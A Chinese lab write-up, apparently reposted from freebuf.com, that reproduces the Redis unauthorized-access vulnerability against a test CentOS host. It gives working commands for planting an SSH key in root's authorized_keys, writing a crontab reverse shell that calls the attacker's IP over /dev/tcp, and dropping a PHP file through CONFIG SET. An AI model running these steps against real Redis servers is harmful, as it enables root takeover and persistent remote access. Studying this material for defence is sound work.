redis漏洞复现 – 作者:龙渊实验室LongYuanLab

一、漏洞简介

什么是redis

和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集 合)、zset(sorted set –有序集 合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

本次复现主要是:

1. Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器2.将文件写入周期性计划任务,然后接受反弹shell3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)

准备环境:

攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)靶机(centos):192.168.163.132

二、环境搭建

(1)下载redis压缩包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

图片[1]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(2)将压缩包放入指定路径,并且进入指定路径

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gzcd redis

图片[2]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(3)解压压缩包,进入指定路径redis-2.8.17,进行安装

tar xzf redis-2.8.17.tar.gzcd redis-2.8.17make

图片[3]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科

(4)进入到src路径下

图片[4]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科

(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面

cp redis-server /usr/bincp redis-cli /usr/bincp redis.conf /etc/redis.conf

图片[5]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(6)启动服务

redis-server /etc/redis.conf

图片[6]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科

三、漏洞复现

3.1 利用“公私钥”认证获得root权限

(1)未授权访问连接(无法连接)

redis-cli -h 192.168.163.132

图片[7]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙

/etc/init.d/iptables stop

图片[8]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(3)kali攻击机未授权访问连接

redis-cli -h 192.168.163.132keys *

图片[9]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(4)在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

图片[10]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(5)进入.ssh目录,将生成的公钥保存到1.txt:

cd /root/.ssh(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

图片[11]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

图片[12]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(7)并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

图片[13]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.sshCONFIG SET dbfilename authorized_keys

图片[14]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilenamesave

图片[15]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(10)查看服务器端已经成功写入图片[16]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(11)攻击机成功登陆到服务器

ssh -i id_rsa [email protected]

图片[17]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科

3.2利用crontab反弹shell

在权限足够的情况下,利用redis写入文件到周期性计划任务执行。(1)在kali攻击机里面监听指定端口

nc -lvnp 8888

图片[18]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(2)向服务器写入文件

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave

图片[19]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(3)查看服务器端的写入情况图片[20]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(4)Kali攻击机已经可以连接了(得到了反弹shell)图片[21]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科

3.3写入webshell

此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径(1)写入文件到/tmp目录

config set dir /tmpconfig set dbfilename shell.phpset webshell "<?php phpinfo(); ?>"save

图片[22]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科(2)查看服务器图片[23]-redis漏洞复现 – 作者:龙渊实验室LongYuanLab-安全小百科备注:写入webshell的时候,可以使用:

set x “\r\n\r\n<?php phpinfo();?>\r\n\r\n”

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。原文链接

来源:freebuf.com 2020-08-28 16:36:51 by: 龙渊实验室LongYuanLab

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论